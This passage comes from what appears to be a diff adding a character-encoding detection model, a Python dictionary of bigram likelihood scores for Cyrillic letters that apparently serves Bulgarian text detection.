0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 2, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 12: { # 'к' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 3, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 10: { # 'л' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 1, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 3, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 14: { # 'м' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 1, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 6: { # 'н' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 2, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 3, # 'ф' + 25: 2, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 4: { # 'о' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 13: { # 'п' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 7: { # 'р' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 1, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 2, # 'ч' + 27: 3, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 8: { # 'с' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 2, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 5: { # 'т' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 19: { # 'у' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 2, # 'и' + 26: 2, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 2, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 2, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 29: { # 'ф' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 1, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 2, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 25: { # 'х' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 22: { # 'ц' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 0, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 21: { # 'ч' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 1, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 27: { # 'ш' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 2, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 1, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 24: { # 'щ' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 1, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 17: { # 'ъ' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 1, # 'и' + 26: 2, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 2, # 'ш' + 24: 3, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 2, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 52: { # 'ь' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 1, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 